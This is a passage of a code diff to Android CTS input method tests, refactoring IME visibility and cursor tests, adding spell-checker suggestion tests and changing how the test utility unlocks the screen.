+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -56,6 +56,9 @@
 import android.widget.TextView;
 
 import androidx.annotation.NonNull;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
@@ -63,10 +66,6 @@
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
 
-import androidx.test.filters.MediumTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -294,8 +293,8 @@
             lastEditTextPos = new Point(curEditPos);
             curEditPos = getLocationOnScreenForView(editText);
 
-            assertTrue("Insets visibility & EditText position should persist when " +
-                            "the above IME window shown",
+            assertTrue("Insets visibility & EditText position should persist when "
+                            + "the above IME window shown",
                     isInsetsVisible(insetsFromActivity[0], WindowInsets.Type.ime())
                             && curEditPos.equals(lastEditTextPos));
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
index f498e4a..709f275 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
@@ -24,8 +24,6 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
 
-import static org.junit.Assert.assertTrue;
-
 import android.content.Context;
 import android.content.res.Configuration;
 import android.inputmethodservice.InputMethodService;
@@ -40,7 +38,6 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
@@ -152,7 +149,7 @@
      * throw strict mode violations.
      */
     @Test
-    public void testIncorrectContextUseOnImsDerivedDisplayContext() throws Exception{
+    public void testIncorrectContextUseOnImsDerivedDisplayContext() throws Exception {
         try (MockImeSession imeSession = MockImeSession.create(
                 InstrumentationRegistry.getInstrumentation().getContext(),
                 InstrumentationRegistry.getInstrumentation().getUiAutomation(),
@@ -169,7 +166,7 @@
                     TIMEOUT);
 
             expectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
-                   CHECK_ALL, TIMEOUT);
+                    CHECK_ALL, TIMEOUT);
 
             // Verify if obtaining a ViewConfiguration on an InputMethodService derived display
             // context throws a strict mode violation.
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index b0c9434..b2a0287 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -439,10 +439,10 @@
     @Test
     public void testCursorAfterLaunchAnotherActivity() throws Exception {
         final AtomicReference<EditText> firstEditTextRef = new AtomicReference<>();
-        final int NEW_CURSOR_OFFSET = 6;
-        final String INITIAL_TEXT = "initial";
-        final String COMMIT_MSG = "commit msg";
-        final String SECOND_COMMIT_MSG = "second commit msg";
+        final int newCursorOffset = 5;
+        final String initialText = "Initial";
+        final String firstCommitMsg = "First";
+        final String secondCommitMsg = "Second";
 
         try (MockImeSession imeSession = MockImeSession.create(
                 InstrumentationRegistry.getInstrumentation().getContext(),
@@ -460,7 +460,7 @@
                 editText.setPrivateImeOptions(marker);
                 editText.setSingleLine(false);
                 firstEditTextRef.set(editText);
-                editText.setText(INITIAL_TEXT);
+                editText.setText(initialText);
                 layout.addView(editText);
                 editText.requestFocus();
                 return layout;
@@ -472,15 +472,18 @@
             // Verify onStartInput when first activity launch
             expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
 
-            final ImeCommand commit = imeSession.callCommitText(COMMIT_MSG, 1);
+            final ImeCommand commit = imeSession.callCommitText(firstCommitMsg, 1);
             expectCommand(stream, commit, TIMEOUT);
+            TestUtils.waitOnMainUntil(
+                    () -> TextUtils.equals(
+                            firstEditText.getText(), initialText + firstCommitMsg), TIMEOUT);
 
             // Get current position
             int originalSelectionStart = firstEditText.getSelectionStart();
             int originalSelectionEnd = firstEditText.getSelectionEnd();
 
-            assertEquals(INITIAL_TEXT.length() + COMMIT_MSG.length(), originalSelectionStart);
-            assertEquals(INITIAL_TEXT.length() + COMMIT_MSG.length(), originalSelectionEnd);
+            assertEquals(initialText.length() + firstCommitMsg.length(), originalSelectionStart);
+            assertEquals(initialText.length() + firstCommitMsg.length(), originalSelectionEnd);
 
             // Launch second test activity
             final Intent intent = new Intent()
@@ -491,8 +494,11 @@
             TestActivity secondActivity = (TestActivity) InstrumentationRegistry
                     .getInstrumentation().startActivitySync(intent);
 
+            // Verify onStartInput when second activity launch
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
             // Commit some messages on second activity
-            final ImeCommand secondCommit = imeSession.callCommitText(SECOND_COMMIT_MSG, 1);
+            final ImeCommand secondCommit = imeSession.callCommitText(secondCommitMsg, 1);
             expectCommand(stream, secondCommit, TIMEOUT);
 
             // Back to first activity
@@ -502,22 +508,29 @@
             TestUtils.waitOnMainUntil(() -> secondActivity.getOnBackPressedCallCount() > 0,
                     TIMEOUT, "Activity#onBackPressed() should be called");
 
+            TestUtils.runOnMainSync(firstEditText::requestFocus);
+
+            // Verify onStartInput when first activity launch
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
             // Update cursor to a new position
-            int newCursorPosition = originalSelectionStart - NEW_CURSOR_OFFSET;
+            int newCursorPosition = originalSelectionStart - newCursorOffset;
             final ImeCommand setSelection =
                     imeSession.callSetSelection(newCursorPosition, newCursorPosition);
             expectCommand(stream, setSelection, TIMEOUT);
 
             // Commit to first activity again
-            final ImeCommand commitFirstAgain = imeSession.callCommitText(COMMIT_MSG, 1);
+            final ImeCommand commitFirstAgain = imeSession.callCommitText(firstCommitMsg, 1);
             expectCommand(stream, commitFirstAgain, TIMEOUT);
+            TestUtils.waitOnMainUntil(
+                    () -> TextUtils.equals(firstEditText.getText(), "InitialFirstFirst"), TIMEOUT);
 
             // get new position
             int newSelectionStart = firstEditText.getSelectionStart();
             int newSelectionEnd = firstEditText.getSelectionEnd();
 
-            assertEquals(newSelectionStart, newCursorPosition + COMMIT_MSG.length());
-            assertEquals(newSelectionEnd, newCursorPosition + COMMIT_MSG.length());
+            assertEquals(newSelectionStart, newCursorPosition + firstCommitMsg.length());
+            assertEquals(newSelectionEnd, newCursorPosition + firstCommitMsg.length());
         }
     }
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
index f06ef27..4eb6573 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
@@ -38,6 +38,7 @@
 import android.os.IBinder;
 import android.os.Process;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.text.TextUtils;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputMethodManager;
@@ -84,6 +85,7 @@
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
     public void testInputConnectionStateWhenScreenStateChanges() throws Exception {
         final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 78987d1..1baa70f 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -36,9 +36,11 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEventWithKeyValue;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.waitForInputViewLayoutStable;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
 import android.app.AlertDialog;
@@ -71,7 +73,6 @@
 
 import androidx.annotation.ColorInt;
 import androidx.annotation.NonNull;
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -82,6 +83,7 @@
 
 import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeLayoutInfo;
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
 
@@ -99,6 +101,7 @@
 public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
     private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
+    private static final long LAYOUT_STABLE_THRESHOLD = TimeUnit.SECONDS.toMillis(3);
 
     private static final ComponentName TEST_ACTIVITY = new ComponentName(
             "android.view.inputmethod.ctstestapp",
@@ -445,27 +448,31 @@
         }
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
     public void testImeState_Unspecified_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_UNSPECIFIED);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    @FlakyTest(bugId = 173462056)
     public void testImeState_Visible_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_VISIBLE);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
     public void testImeState_AlwaysVisible_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
     public void testImeState_Hidden_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_HIDDEN);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
     public void testImeState_AlwaysHidden_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
@@ -558,7 +565,6 @@
 
     @AppModeFull
     @Test
-    @FlakyTest(bugId = 173462056)
     public void testImeInvisibleWhenForceStopPkgProcess_Full() throws Exception {
         runImeVisibilityTestWhenForceStopPackage(false /* instant */);
     }
@@ -636,13 +642,21 @@
             final ImeEventStream stream = imeSession.openEventStream();
             final String marker = getTestMarker();
 
+            // Make sure that MockIme isn't shown in the initial state.
+            final ImeLayoutInfo lastLayout =
+                    waitForInputViewLayoutStable(stream, LAYOUT_STABLE_THRESHOLD);
+            assertNull(lastLayout);
+            expectImeInvisible(TIMEOUT);
+            // Flush all the events happened before launching the test Activity.
+            stream.skipAll();
+
             // Launch test activity with focusing an editor from remote process and expect the
             // IME is visible.
             try (AutoCloseable closable = launchRemoteActivitySync(TEST_ACTIVITY, instant, TIMEOUT,
                     Map.of(EXTRA_KEY_PRIVATE_IME_OPTIONS, marker))) {
                 expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
-                expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
                 expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+                expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
                 expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
                         View.VISIBLE, TIMEOUT);
                 expectImeVisible(TIMEOUT);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
index 0c40014..b5ca08a 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
@@ -15,31 +15,44 @@
  */
 package android.view.inputmethod.cts
 
+import android.app.Instrumentation
 import android.content.Context
 import android.provider.Settings
 import android.text.style.SuggestionSpan
+import android.text.style.SuggestionSpan.FLAG_GRAMMAR_ERROR
+import android.text.style.SuggestionSpan.FLAG_MISSPELLED
 import android.view.ViewGroup.LayoutParams.MATCH_PARENT
 import android.view.ViewGroup.LayoutParams.WRAP_CONTENT
 import android.view.inputmethod.cts.util.EndToEndImeTestBase
 import android.view.inputmethod.cts.util.InputMethodVisibilityVerifier
 import android.view.inputmethod.cts.util.TestActivity
-import android.view.inputmethod.cts.util.TestUtils
+import android.view.inputmethod.cts.util.TestUtils.runOnMainSync
+import android.view.inputmethod.cts.util.TestUtils.waitOnMainUntil
 import android.view.inputmethod.cts.util.UnlockScreenRule
 import android.view.textservice.SpellCheckerSubtype
-import android.view.textservice.SuggestionsInfo
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_DONT_SHOW_UI_FOR_SUGGESTIONS
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_IN_THE_DICTIONARY
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_TYPO
 import android.view.textservice.TextServicesManager
 import android.widget.EditText
 import android.widget.LinearLayout
+import androidx.annotation.UiThread
 import androidx.test.filters.MediumTest
 import androidx.test.platform.app.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
+import androidx.test.uiautomator.By
+import androidx.test.uiautomator.UiDevice
+import androidx.test.uiautomator.Until
 import com.android.compatibility.common.util.CtsTouchUtils
 import com.android.compatibility.common.util.SettingsStateChangerRule
+import com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand
 import com.android.cts.mockime.MockImeSession
 import com.android.cts.mockspellchecker.MockSpellChecker
 import com.android.cts.mockspellchecker.MockSpellCheckerClient
 import com.android.cts.mockspellchecker.MockSpellCheckerProto
 import com.android.cts.mockspellchecker.MockSpellCheckerProto.MockSpellCheckerConfiguration
+import com.google.common.truth.Truth.assertThat
 import org.junit.Assume
 import org.junit.Before
 import org.junit.Rule
@@ -53,7 +66,9 @@
 @RunWith(AndroidJUnit4::class)
 class SpellCheckerTest : EndToEndImeTestBase() {
 
-    private val context: Context = InstrumentationRegistry.getInstrumentation().getTargetContext()
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context: Context = instrumentation.getTargetContext()
+    private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
 
     @Rule
     fun unlockScreenRule() = UnlockScreenRule()
@@ -76,28 +91,72 @@
     }
 
     @Test
-    fun misspelled() {
+    fun misspelled_easyCorrect() {
+        val uniqueSuggestion = "s618397" // "s" + a random number
         val configuration = MockSpellCheckerConfiguration.newBuilder()
                 .addSuggestionRules(
                         MockSpellCheckerProto.SuggestionRule.newBuilder()
                                 .setMatch("match")
-                                .addSuggestions("suggestion")
-                                .setAttributes(SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_TYPO)
+                                .addSuggestions(uniqueSuggestion)
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
                 ).build()
         MockImeSession.create(context).use { session ->
             MockSpellCheckerClient.create(context, configuration).use {
                 val (_, editText) = startTestActivity()
-                CtsTouchUtils.emulateTapOnViewCenter(
-                        InstrumentationRegistry.getInstrumentation(), null, editText)
-                TestUtils.waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
                 InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
                 session.callCommitText("match", 1)
                 session.callCommitText(" ", 1)
-                TestUtils.waitOnMainUntil({
-                    getSuggestionSpans(editText).find {
-                        (it.flags and SuggestionSpan.FLAG_MISSPELLED) != 0
-                    } != null
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
                 }, TIMEOUT)
+                // Tap inside 'match'.
+                emulateTapAtOffset(editText, 2)
+                // Wait until the cursor moves inside 'match'.
+                waitOnMainUntil({ isCursorInside(editText, 1, 4) }, TIMEOUT)
+                // Wait for the suggestion to come up, and click it.
+                uiDevice.wait(Until.findObject(By.text(uniqueSuggestion)), TIMEOUT).also {
+                    assertThat(it).isNotNull()
+                }.click()
+                // Verify that the text ('match') is replaced with the suggestion.
+                waitOnMainUntil({ "$uniqueSuggestion " == editText.text.toString() }, TIMEOUT)
+                // The SuggestionSpan should be removed.
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) == null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
+    fun misspelled_noEasyCorrect() {
+        val uniqueSuggestion = "s974355" // "s" + a random number
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions(uniqueSuggestion)
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO
+                                        or RESULT_ATTR_DONT_SHOW_UI_FOR_SUGGESTIONS)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use {
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+                }, TIMEOUT)
+                // Tap inside 'match'.
+                emulateTapAtOffset(editText, 2)
+                // Wait until the cursor moves inside 'match'.
+                waitOnMainUntil({ isCursorInside(editText, 1, 4) }, TIMEOUT)
+                // Verify that the suggestion is not shown.
+                assertThat(uiDevice.wait(Until.gone(By.text(uniqueSuggestion)), TIMEOUT)).isTrue()
             }
         }
     }
@@ -109,32 +168,108 @@
                         MockSpellCheckerProto.SuggestionRule.newBuilder()
                                 .setMatch("match")
                                 .addSuggestions("suggestion")
-                                .setAttributes(SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR)
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR)
         ).build()
         MockImeSession.create(context).use { session ->
             MockSpellCheckerClient.create(context, configuration).use {
                 val (_, editText) = startTestActivity()
-                CtsTouchUtils.emulateTapOnViewCenter(
-                        InstrumentationRegistry.getInstrumentation(), null, editText)
-                TestUtils.waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
                 InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
                 session.callCommitText("match", 1)
                 session.callCommitText(" ", 1)
-                TestUtils.waitOnMainUntil({
-                    getSuggestionSpans(editText).find {
-                        (it.flags and SuggestionSpan.FLAG_GRAMMAR_ERROR) != 0
-                    } != null
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_GRAMMAR_ERROR) != null
                 }, TIMEOUT)
             }
         }
     }
 
+    @Test
+    fun performSpellCheck() {
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions("suggestion")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use { client ->
+                val stream = session.openEventStream()
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+                }, TIMEOUT)
+                // The word is now in dictionary. The next spell check should remove the misspelled
+                // SuggestionSpan.
+                client.updateConfiguration(MockSpellCheckerConfiguration.newBuilder()
+                        .addSuggestionRules(
+                                MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                        .setMatch("match")
+                                        .setAttributes(RESULT_ATTR_IN_THE_DICTIONARY)
+                        ).build())
+                val command = session.callPerformSpellCheck()
+                expectCommand(stream, command, TIMEOUT)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) == null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
+    fun textServicesManagerApi() {
+        val tsm = context.getSystemService(TextServicesManager::class.java)!!
+        assertThat(tsm).isNotNull()
+        assertThat(tsm!!.isSpellCheckerEnabled()).isTrue()
+        val spellCheckerInfo = tsm.getCurrentSpellChecker()
+        assertThat(spellCheckerInfo).isNotNull()
+        assertThat(spellCheckerInfo!!.getPackageName()).isEqualTo(
+            "com.android.cts.mockspellchecker")
+        assertThat(spellCheckerInfo!!.getSubtypeCount()).isEqualTo(1)
+        val spellCheckerSubtypeAllowImplicitlySelected = tsm.getCurrentSpellCheckerSubtype(true)
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected).isNotNull()
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLanguageTag()).isEqualTo("en-US")
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLocale()).isEqualTo("en")
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getExtraValue()).isEmpty()
+        val spellCheckerSubtypeNotAllowImplicitlySelected =
+            tsm.getCurrentSpellCheckerSubtype(false)
+        assertThat(spellCheckerSubtypeNotAllowImplicitlySelected).isNull()
+        assertThat(tsm.getEnabledSpellCheckersList()!!.size).isAtLeast(1)
+        assertThat(tsm.getEnabledSpellCheckersList()!!.map { it.getPackageName() })
+                        .contains("com.android.cts.mockspellchecker")
+    }
+
+    private fun findSuggestionSpanWithFlags(editText: EditText, flags: Int): SuggestionSpan? =
+            getSuggestionSpans(editText).find { (it.flags and flags) == flags }
+
     private fun getSuggestionSpans(editText: EditText): Array<SuggestionSpan> {
         val editable = editText.text
         val spans = editable.getSpans(0, editable.length, SuggestionSpan::class.java)
         return spans
     }
 
+    private fun emulateTapAtOffset(editText: EditText, offset: Int) {
+        var x = 0
+        var y = 0
+        runOnMainSync {
+            x = editText.layout.getPrimaryHorizontal(offset).toInt()
+            val line = editText.layout.getLineForOffset(offset)
+            y = (editText.layout.getLineTop(line) + editText.layout.getLineBottom(line)) / 2
+        }
+        CtsTouchUtils.emulateTapOnView(instrumentation, null, editText, x, y)
+    }
+
+    @UiThread
+    private fun isCursorInside(editText: EditText, start: Int, end: Int): Boolean =
+            start <= editText.selectionStart && editText.selectionEnd <= end
+
     private fun startTestActivity(): Pair<TestActivity, EditText> {
         var editText: EditText? = null
         val activity = TestActivity.startSync { activity: TestActivity? ->
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
index f1bfe77..cc61682 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
@@ -20,14 +20,19 @@
 import static com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
+import static org.junit.Assert.assertFalse;
+
 import android.app.Instrumentation;
+import android.app.KeyguardManager;
 import android.content.Context;
 import android.os.PowerManager;
+import android.view.KeyEvent;
 
 import androidx.annotation.NonNull;
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CommonTestUtils;
+import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -143,14 +148,27 @@
     }
 
     /**
-     * Call a command to unlock screen.
+     * Simulates a {@link KeyEvent#KEYCODE_MENU} event to unlock screen.
      *
-     * Note that this method is originated from
-     * {@link android.server.wm.UiDeviceUtils#pressUnlockButton()}, which is only valid for
-     * unlocking insecure keyguard for test automation.
+     * This method will retry until {@link KeyguardManager#isKeyguardLocked()} return {@code false}
+     * in given timeout.
+     *
+     * Note that {@link KeyguardManager} is not accessible in instant mode due to security concern,
+     * so this method always throw exception with instant app.
      */
     public static void unlockScreen() throws Exception {
-        runShellCommand("input keyevent KEYCODE_MENU");
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final Context context = instrumentation.getContext();
+        final KeyguardManager kgm = context.getSystemService(KeyguardManager.class);
+
+        assertFalse("This method is currently not supported in instant apps.",
+                context.getPackageManager().isInstantApp());
+        CommonTestUtils.waitUntil("Device does not unlock after 3 seconds", 3,
+                () -> {
+                    SystemUtil.runWithShellPermissionIdentity(
+                            () -> instrumentation.sendKeyDownUpSync((KeyEvent.KEYCODE_MENU)));
+                    return kgm != null && !kgm.isKeyguardLocked();
+                });
     }
 
     /**
diff --git a/tests/inputmethod/testapp/Android.bp b/tests/inputmethod/testapp/Android.bp
index 1d55077..19fb953 100644
--- a/tests/inputmethod/testapp/Android.bp
+++ b/tests/inputmethod/testapp/Android.bp
@@ -25,6 +25,7 @@
     compile_multilib: "both",
     static_libs: [
         "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/inputmethod/testapp/AndroidManifest.xml b/tests/inputmethod/testapp/AndroidManifest.xml
index 0f47420..226f27d 100644
--- a/tests/inputmethod/testapp/AndroidManifest.xml
+++ b/tests/inputmethod/testapp/AndroidManifest.xml
@@ -26,7 +26,8 @@
         <activity
             android:name=".MainActivity"
             android:exported="true"
-            android:label="CtsInputMethodStandaloneTestActivity">
+            android:label="CtsInputMethodStandaloneTestActivity"
+            android:windowSoftInputMode="stateAlwaysHidden">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
             </intent-filter>
diff --git a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
index 59c8528..2b35554 100644
--- a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
+++ b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
@@ -18,7 +18,6 @@
 import static android.view.WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
-import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
 
 import android.app.Activity;
 import android.app.AlertDialog;
@@ -31,12 +30,13 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.view.Gravity;
-import android.widget.EditText;
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
 import androidx.annotation.Nullable;
 
+import com.android.compatibility.common.util.ImeAwareEditText;
+
 /**
  * A test {@link Activity} that automatically shows the input method.
  */
@@ -95,22 +95,22 @@
             textView.setText("This is DialogActivity");
             layout.addView(textView);
 
-            mDialog= new AlertDialog.Builder(this)
+            mDialog = new AlertDialog.Builder(this)
                     .setView(new LinearLayout(this))
                     .create();
             mDialog.getWindow().addFlags(FLAG_ALT_FOCUSABLE_IM);
             mDialog.getWindow().setSoftInputMode(SOFT_INPUT_ADJUST_PAN);
             mDialog.show();
         } else {
-            final EditText editText = new EditText(this);
+            final ImeAwareEditText editText = new ImeAwareEditText(this);
             editText.setHint("editText");
             final String privateImeOptions = getStringIntentExtra(EXTRA_KEY_PRIVATE_IME_OPTIONS);
             if (privateImeOptions != null) {
                 editText.setPrivateImeOptions(privateImeOptions);
             }
             editText.requestFocus();
+            editText.scheduleShowSoftInput();
             layout.addView(editText);
-            getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
         }
 
         setContentView(layout);
diff --git a/tests/location/common/src/android/location/cts/common/TestLocationManager.java b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
index e9b598b..581a107 100644
--- a/tests/location/common/src/android/location/cts/common/TestLocationManager.java
+++ b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
@@ -17,6 +17,7 @@
 package android.location.cts.common;
 
 import android.content.Context;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssRequest;
